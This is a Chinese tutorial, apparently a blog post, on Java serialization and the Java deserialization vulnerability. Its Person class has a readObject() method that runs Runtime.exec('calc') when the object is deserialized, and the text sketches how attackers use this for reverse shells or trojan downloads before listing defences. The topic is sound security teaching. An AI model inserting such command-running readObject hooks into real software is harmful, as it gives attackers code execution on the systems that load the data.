在Java中,序列化是指将对象的状态转换为字节流的过程,以便可以将其存储到文件、内存、数据库或通过网络传输。相反地,反序列化是从字节流恢复对象状态的过程。
为了使一个对象可序列化,该类必须实现java.io.Serializable接口,这是一个标记接口,它本身不包含任何方法。当你想控制序列化过程时,可以使用private void writeObject(ObjectOutputStream out) throws IOException和private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException方法来定制序列化和反序列化的逻辑。
序列化实例
Person类
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private static final long serialVersionUIO = 1L;
private String name;
private int age;
public Person(){
}
public Person(String name,int age){
this.name = name;
this.age = age ;
}
public Person(String aa, String number) {
}
@Override
public String toString() {
return "Person{"+
"name='"+name+'\'' +
",age =" +age +
'}';
}
private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
//弹计算器 calc,记事本 notepad
}
}
反序列化类
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException ,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj =ois.readObject();
return obj;
}
public static void main(String[] args)throws Exception {
Person person = (Person)unserialize("1.bin");
System.out.println(person);
}
}
序列化类
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"))) {
oos.writeObject(obj);
}
}
public static void main(String[] args)throws Exception{
Person person =new Person("TOM","22");
System.out.println(person);
serialize(person);
}
}
这个程序演示了如何将一个自定义类的对象(Person)进行 序列化,即将其保存到本地文件中(1.bin),以便后续可以通过反序列化恢复该对象。
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
java.io.*:用于输入输出操作,特别是对象序列化。
其他导入如HttpURLConnection,URL,HashMap,Map等在当前代码中 没有使用到,可以删除以简化代码。
SerializationTestpublic class SerializationTest {
...
}
这是程序的入口类。
serialize方法public static void serialize(Object obj) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"))) {
oos.writeObject(obj);
}
}
功能:将传入的对象obj序列化并写入到名为"1.bin"的文件中。
使用了 try-with-resources结构自动关闭流。
使用ObjectOutputStream来完成序列化。
抛出IOException表示如果 I/O 操作失败,异常会向上传递。
main方法public static void main(String[] args)throws Exception{
Person person =new Person("TOM","22");
System.out.println(person);
serialize(person);
}
创建了一个Person对象,构造函数参数是"TOM"和"22"。
打印该对象(默认调用toString())。
调用上面定义的serialize()方法对对象进行序列化。
反序列化是序列化过程的逆过程,用于从持久存储(如文件)或者通过网络接收的数据重新创建对象。需要注意的是,反序列化后的对象与原始对象并不完全相同;它是原始对象的一个副本,具有相同的实例变量值。
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException ,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj =ois.readObject();
return obj;
}
public static void main(String[] args)throws Exception {
Person person = (Person)unserialize("1.bin");
System.out.println(person);
}
}
public class UnserializeTest {
...
}
类名为UnserializeTest,表示这是一个用于反序列化的测试类。
它与前面的SerializationTest是一对:一个是写对象到文件(序列化),一个是读对象回内存(反序列化)。
unserialize()方法public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
功能:从指定文件中读取并反序列化一个对象。
使用了ObjectInputStream来读取二进制数据流。
调用readObject()方法将字节流转换为 Java 对象。
抛出两个异常:
IOException:如果文件不存在或读取失败。
ClassNotFoundException:如果反序列化时找不到对应的类(比如 Person 类不存在于当前 JVM 中)。
注意:该方法返回的是Object类型,使用时需要进行强制类型转换(例如(Person))。
main()方法public static void main(String[] args)throws Exception {
Person person = (Person)unserialize("1.bin");
System.out.println(person);
}
调用上面定义的unserialize()方法,传入文件名"1.bin"。
将返回的Object强制转换为Person类型。
打印反序列化后的对象(调用其toString()方法)。
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private static final long serialVersionUIO = 1L;
private String name;
private int age;
public Person(){
}
public Person(String name,int age){
this.name = name;
this.age = age ;
}
public Person(String aa, String number) {
}
@Override
public String toString() {
return "Person{"+
"name='"+name+'\'' +
",age =" +age +
'}';
}
private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
//弹计算器 calc,记事本 notepad
}
}
Person implements Serializablepublic class Person implements Serializable {
表明这是一个可以被序列化的类。
Serializable是 Java 提供的一个标记接口,表示该类的对象可以被转换为字节流进行存储或传输。
serialVersionUIDprivate static final long serialVersionUIO = 1L;
注意:这个字段名应该是serialVersionUID,但是你写成了serialVersionUIO。虽然不影响编译,但在实际使用中可能导致版本不一致的问题:
private static final long serialVersionUID = 1L;
建议修改成标准命名。
private String name;
private int age;
这两个字段将被序列化保存。
public Person() {}
public Person(String name, int age) { ... }
public Person(String aa, String number) { ... }
默认构造器和多个重载构造方法。
第三个构造方法目前是空的,没有实现逻辑。
5.toString()方法@Override
public String toString() {
return "Person{"+
"name='"+name+'\'' +
",age =" +age +
'}';
}
用于打印对象信息。
readObject()方法自定义反序列化行为private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
这是整个代码最核心的部分:
ois.defaultReadObject();
调用默认的反序列化逻辑,恢复对象的状态。
Runtime.getRuntime().exec("calc");
在 Windows 系统中,执行系统命令:打开 计算器(Calculator)。
如果换成"notepad",就会打开记事本。
然后这段代码执行过后就会弹计算器了


Java 原生序列化机制允许开发者通过自定义readObject()和writeObject()方法来控制序列化/反序列化过程。
如果你在一个可序列化的类中定义了恶意的readObject()方法,那么当其他程序对这个类的对象进行反序列化时,就会自动触发你的恶意逻辑(比如运行任意命令)。
这就是所谓的:
Java Deserialization Vulnerability
攻击者可以通过以下方式利用此漏洞:
构造一个包含恶意readObject()的类(如上面的Person)。
将该类的实例序列化为字节流(例如person.bin)。
引诱目标系统调用ObjectInputStream.readObject()对该文件进行反序列化。
攻击成功,执行任意命令(如反弹 shell、下载木马等)。
不要反序列化来自不可信来源的数据。
特别是在网络通信、Session 存储、缓存等场景中要格外小心。
使用工具库(如 SerialKiller)来限制反序列化时允许加载的类。
优先使用 JSON、XML、Protobuf 等格式代替 Java 原生序列化。
推荐库:
Jackson
Gson
Protobuf
如果必须自定义反序列化逻辑,确保不要执行任何系统命令或敏感操作。
| 内容 | 说明 |
readObject() | 自定义反序列化逻辑的方法 |
Runtime.exec() | 执行系统命令,存在严重安全隐患 |
serialVersionUID | 命名错误,建议改为标准名称 |
| 安全风险 | 典型的 Java 反序列化漏洞 |
| 防御建议 | 避免反序列化不可信数据,使用 JSON 替代原生序列化 |